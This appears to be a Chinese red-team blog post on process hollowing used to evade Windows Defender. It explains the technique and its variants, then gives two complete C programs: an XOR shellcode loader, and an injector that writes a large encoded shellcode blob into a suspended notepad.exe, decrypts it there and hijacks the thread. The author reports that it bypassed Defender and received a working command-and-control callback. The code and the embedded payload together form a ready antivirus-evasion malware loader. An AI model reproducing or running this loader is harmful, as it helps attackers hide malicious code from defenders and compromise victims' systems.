一、技术定位与核心思想
进程镂空(Process Hollowing)属于 MITRE ATT&CK 中 T1055.012 子技术:先创建一个合法进程并挂起,随后把其主模块从内存“掏空”并替换为恶意映像,最后恢复线程执行,从而让恶意代码披着正常进程外壳运行。
二、标准流程(七步拆解)
步骤 | 关键 API | 细节陷阱 |
---|---|---|
① 创建挂起进程 | CreateProcessW(..., CREATE_SUSPENDED) | 选用系统常驻或白名单进程名称;位数需与 payload 一致。 |
② 解析目标 PEB | NtQueryInformationProcess + ReadProcessMemory | 取出 ImageBaseAddress 。 |
③ 卸载原映像 | NtUnmapViewOfSection | 如卸载失败一般是内存仍被模块引用,需重试或改用 NtWriteVirtualMemory 覆盖。 |
④ 申请内存 | VirtualAllocEx | 推荐按分节属性分别设页权限,减少可疑“RX/RWX” 区段。 |
⑤ 写入恶意映像 | WriteProcessMemory + 重定位表修补 | 重定位 delta = NewBase - OldImageBase ;缺 reloc 表会直接崩溃。 |
⑥ 重写线程上下文 | GetThreadContext / SetThreadContext | x86 写 EAX/EIP;x64 需写 RCX,RDX,R8,R9 等保留寄存器。 |
⑦ 恢复执行 | ResumeThread | 建议先 Sleep‑Obfuscation → Unhook,再联网。 |
三、进阶与变体
变体 | 核心改动 | 场景/优势 |
---|---|---|
RunPE/PE‑Inject | 过程同镂空,但直接覆盖同一进程(无父子关系)。 | 红队常用,代码更简单。 |
Transacted Hollowing | 结合 TxF 事务,绕过落地文件扫描。 | 被 NITROGEN / HijackLoader 等新家族采用 (CrowdStrike)。 |
Process Ghosting / Herpaderping / Doppelgänging | 修改或删除落地文件后再创建进程,文件已不可扫描。 | 对文件型防护最具破坏性;微软专文阐述检测难点 (微软)。 |
Windows 11 24H2 MEM_IMAGE 版 | 24H2 要求映像区段标记为 MEM_IMAGE ;传统 MEM_PRIVATE 写入会异常 0xC0000141 终止 (cirt.gy)。 | 需改用 NtCreateSection 映射映像模式或走 Ghosting 路线。 |
四、免杀效果展示
1、先拿之前文章:【免杀】C2免杀技术(四)shellcode分离加载-CSDN博客 里的xor加载器代码(文章里演示过,放到DF上,被杀)
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
// 使用字符串 "kun" 作为 XOR key
unsigned char xor_key[] = { 'k', 'u', 'n' };
const size_t key_len = sizeof(xor_key);
// XOR混淆的 shellcode(请用你的真实 shellcode 替换)
unsigned char encoded_shellcode[] = "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x1f\x2f\x27\x13\x6e\x29\xfb\x4c\x87\x7c\x4e\xa3\x5a\x27\x7e\x12\x9b\xe1\xb6\xcb\x0d\x98\x9e\x71\x24\xf0\xbb\x35\xe9\x45\x21\xf4\x5f\x7f\x0c\x90\xf4\x74\xe8\x6a\xb2\xb5\x4f\x8c\xf6\xd6\x9e\x51\xdf\x81\xae\x76\x30\x26\xdd\xbd\x75\x63\x41\xc0\x67\x3c\x70\xd5\xf5\x79\xad\x41\x9f\xc5\xa7\x6a\xfd\x58\x20\xbd\xaf\x8c\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x5f\x5b\x5b\x5e\x50\x55\x39\x02\x1b\x0a\x04\x02\x1d\x4b\x3b\x3a\x4b\x43\x40\x5a\x4e\x4e\x3c\x3a\x39\x5d\x41\x55\x4b\x21\x1c\x02\x11\x0b\x05\x01\x41\x5d\x5b\x5e\x42\x78\x64\x6b\x43\xac\xbc\x37\xdf\x7b\x58\xff\x31\x6f\x96\x46\xfe\x4f\x38\xd0\xe3\xf3\xfb\x3c\x0c\x3a\x75\x82\x1c\xf1\xd9\x1d\xd2\x49\x6b\x9a\x46\x25\x9e\xaf\x69\x9a\x83\x12\xf0\x10\xb9\x26\x75\x0a\x1a\xae\x03\x61\x24\x6f\x4b\xe9\xe7\xcd\x58\xf4\xbe\x95\xd0\x46\x3f\x7b\x37\x76\xc8\x0b\x35\x3b\x9a\x2b\xaa\xd5\x1c\xaf\x4b\x35\xda\x25\x9a\x69\x5c\x0f\xd4\x0c\x3b\xba\x3d\xd2\xf0\xb9\x6a\xcd\x8f\x81\xe2\x9e\x52\xeb\x6d\x1e\x61\x25\x5c\x1e\xc4\x0f\x0e\x1f\xa3\x88\x22\x5b\x62\x3e\xc1\xee\xd7\x8c\x43\xf1\x25\x90\xf4\x7d\xbb\xbc\xc7\x7e\x9d\x83\xfa\xff\x9d\xbf\x51\x9f\x76\x7a\xb2\xc7\xa7\xa0\x6c\xdd\xdd\xe8\x55\xc9\xb7\xda\xa1\xfe\xd5\x9d\x0e\xab\x49\xb9\x06\x93\xac\x62\x68\xd6\xd4\x0b\x75\x17\x50\x9f\x02\x8f\x7b\x0d\x47\x97\xc7\x5d\xc6\x34\x43\x86\x20\xc3\x5f\x4e\xd5\x64\x83\x5d\x7f\x55\x6b\x69\x3e\x7f\x99\x02\x4f\xa4\x1b\xa1\x0e\x07\x03\x54\x1d\xf2\xe1\x04\x4d\xa8\x36\xd3\x09\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x59\x40\x5b\x45\x44\x6e\x6b\x7f\x42\x41" /* shellcode 省略,原样复制 */;
size_t shellcode_len = sizeof(encoded_shellcode);
int main() {
// 申请 RWX 内存
LPVOID exec_mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec_mem) {
printf("VirtualAlloc failed.\n");
return -1;
}
// 复制加密的 shellcode 到可执行内存
memcpy(exec_mem, encoded_shellcode, shellcode_len);
// 在已加载的内存中解密 shellcode
for (size_t i = 0; i < shellcode_len; ++i) {
((unsigned char*)exec_mem)[i] ^= xor_key[i % key_len];
}
// 创建线程执行 shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
if (!hThread) {
printf("CreateThread failed.\n");
VirtualFree(exec_mem, 0, MEM_RELEASE);
return -1;
}
// 等待 shellcode 执行完成
WaitForSingleObject(hThread, INFINITE);
// 清理
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
2、现在使用进程镂空技术来改造,改完如下:
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
// 示例Shellcode(已使用XOR加密)
unsigned char shellcode[] = /* 你的XOR加密后shellcode数据 */ "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x1f\x2f\x27\x13\x6e\x29\xfb\x4c\x87\x7c\x4e\xa3\x5a\x27\x7e\x12\x9b\xe1\xb6\xcb\x0d\x98\x9e\x71\x24\xf0\xbb\x35\xe9\x45\x21\xf4\x5f\x7f\x0c\x90\xf4\x74\xe8\x6a\xb2\xb5\x4f\x8c\xf6\xd6\x9e\x51\xdf\x81\xae\x76\x30\x26\xdd\xbd\x75\x63\x41\xc0\x67\x3c\x70\xd5\xf5\x79\xad\x41\x9f\xc5\xa7\x6a\xfd\x58\x20\xbd\xaf\x8c\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x5f\x5b\x5b\x5e\x50\x55\x39\x02\x1b\x0a\x04\x02\x1d\x4b\x3b\x3a\x4b\x43\x40\x5a\x4e\x4e\x3c\x3a\x39\x5d\x41\x55\x4b\x21\x1c\x02\x11\x0b\x05\x01\x41\x5d\x5b\x5e\x42\x78\x64\x6b\x43\xac\xbc\x37\xdf\x7b\x58\xff\x31\x6f\x96\x46\xfe\x4f\x38\xd0\xe3\xf3\xfb\x3c\x0c\x3a\x75\x82\x1c\xf1\xd9\x1d\xd2\x49\x6b\x9a\x46\x25\x9e\xaf\x69\x9a\x83\x12\xf0\x10\xb9\x26\x75\x0a\x1a\xae\x03\x61\x24\x6f\x4b\xe9\xe7\xcd\x58\xf4\xbe\x95\xd0\x46\x3f\x7b\x37\x76\xc8\x0b\x35\x3b\x9a\x2b\xaa\xd5\x1c\xaf\x4b\x35\xda\x25\x9a\x69\x5c\x0f\xd4\x0c\x3b\xba\x3d\xd2\xf0\xb9\x6a\xcd\x8f\x81\xe2\x9e\x52\xeb\x6d\x1e\x61\x25\x5c\x1e\xc4\x0f\x0e\x1f\xa3\x88\x22\x5b\x62\x3e\xc1\xee\xd7\x8c\x43\xf1\x25\x90\xf4\x7d\xbb\xbc\xc7\x7e\x9d\x83\xfa\xff\x9d\xbf\x51\x9f\x76\x7a\xb2\xc7\xa7\xa0\x6c\xdd\xdd\xe8\x55\xc9\xb7\xda\xa1\xfe\xd5\x9d\x0e\xab\x49\xb9\x06\x93\xac\x62\x68\xd6\xd4\x0b\x75\x17\x50\x9f\x02\x8f\x7b\x0d\x47\x97\xc7\x5d\xc6\x34\x43\x86\x20\xc3\x5f\x4e\xd5\x64\x83\x5d\x7f\x55\x6b\x69\x3e\x7f\x99\x02\x4f\xa4\x1b\xa1\x0e\x07\x03\x54\x1d\xf2\xe1\x04\x4d\xa8\x36\xd3\x09\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x59\x40\x5b\x45\x44\x6e\x6b\x7f\x42\x41";
SIZE_T shellcodeSize = sizeof(shellcode);
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
// 1. 创建挂起的目标进程(以 notepad.exe 为例)
if (!CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL,
&si, &pi))
{
printf("[-] CreateProcess failed (%d)\n", GetLastError());
return -1;
}
printf("[+] Suspended process created (PID: %d)\n", pi.dwProcessId);
// 2. 获取线程上下文
if (!GetThreadContext(pi.hThread, &ctx)) {
printf("[-] GetThreadContext failed (%d)\n", GetLastError());
return -1;
}
// 3. 获取 ImageBase 地址
DWORD64 imageBase = 0;
ReadProcessMemory(pi.hProcess,
(LPCVOID)(ctx.Rdx + 0x10),
&imageBase, sizeof(imageBase), NULL);
// 4. 解析入口点 RVA
IMAGE_DOS_HEADER dos = { 0 };
IMAGE_NT_HEADERS64 nt = { 0 };
ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, &dos, sizeof(dos), NULL);
ReadProcessMemory(pi.hProcess,
(LPCVOID)(imageBase + dos.e_lfanew),
&nt, sizeof(nt), NULL);
DWORD64 entryRVA = nt.OptionalHeader.AddressOfEntryPoint;
DWORD64 targetAddr = imageBase + entryRVA;
// 5. 修改目标内存页权限为可写可执行
DWORD oldProt = 0;
VirtualProtectEx(pi.hProcess,
(LPVOID)targetAddr,
shellcodeSize,
PAGE_EXECUTE_READWRITE,
&oldProt);
// 6. 写入已加密 shellcode
if (!WriteProcessMemory(pi.hProcess,
(LPVOID)targetAddr,
shellcode, shellcodeSize, NULL))
{
printf("[-] WriteProcessMemory (encrypted) failed (%d)\n", GetLastError());
return -1;
}
printf("[+] Encrypted shellcode written to target process.\n");
// 7. 在目标进程内存中进行 XOR 解密(Key: "kun")
unsigned char xorKey[] = "kun"; // XOR 密钥字符串
SIZE_T keyLen = sizeof(xorKey) - 1; // 不包含末尾 '\0'
for (SIZE_T i = 0; i < shellcodeSize; i++) {
unsigned char encByte = 0;
// 读取加密字节
if (!ReadProcessMemory(pi.hProcess,
(LPCVOID)(targetAddr + i),
&encByte, 1, NULL))
{
printf("[-] ReadProcessMemory failed at offset %llu (%d)\n", i, GetLastError());
return -1;
}
// XOR 解密
unsigned char decByte = encByte ^ xorKey[i % keyLen];
// 写回解密后字节
if (!WriteProcessMemory(pi.hProcess,
(LPVOID)(targetAddr + i),
&decByte, 1, NULL))
{
printf("[-] WriteProcessMemory failed at offset %llu (%d)\n", i, GetLastError());
return -1;
}
}
printf("[+] Shellcode decrypted in target process memory.\n");
// 8. 设置线程 RIP 到 shellcode 地址
ctx.Rip = targetAddr;
if (!SetThreadContext(pi.hThread, &ctx)) {
printf("[-] SetThreadContext failed (%d)\n", GetLastError());
return -1;
}
// 9. 恢复线程执行
ResumeThread(pi.hThread);
// 清理句柄
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
当然,我这里并不符合以上“标准流程”,而是上述第一种变体(RunPE/PE‑Inject),像是一种入口点覆盖式的注入,区别如下:
- 并没有“掏空”原进程的合法映像,而是在原映像内直接覆盖;
- 没有按照 PE 结构重建映像,也没有处理重定位、导入表等;
- 红队常用,代码更简单。
3、将两份代码全部编译出来,进行对比
拉到DF上检测,结果如图:
运行测试,成功上线并执行命令,进程镂空(傀儡进程)绕过DF!
如图,恶意程序的真实的名称并不会出现在进程清单里,取而代之的是notepad.exe
五、结尾
通常所说的傀儡进程,主要就是指进程镂空(Process Hollowing) ,但是这两个概念并非完全等价的术语。傀儡进程是一个更广泛的概念,指攻击者控制的一个表面上看起来“正常”的进程,实际却在执行恶意任务。它包括不限于:进程镂空、进程替身、父子关系欺骗、镜像劫持、进程劫持等。
名称 | 关系 | 举例 |
---|---|---|
进程镂空 | 傀儡进程的一种实现 | CreateProcess + 替换内存 |
傀儡进程 | 总体概念 | 镂空、Doppelgänging、镜像劫持等 |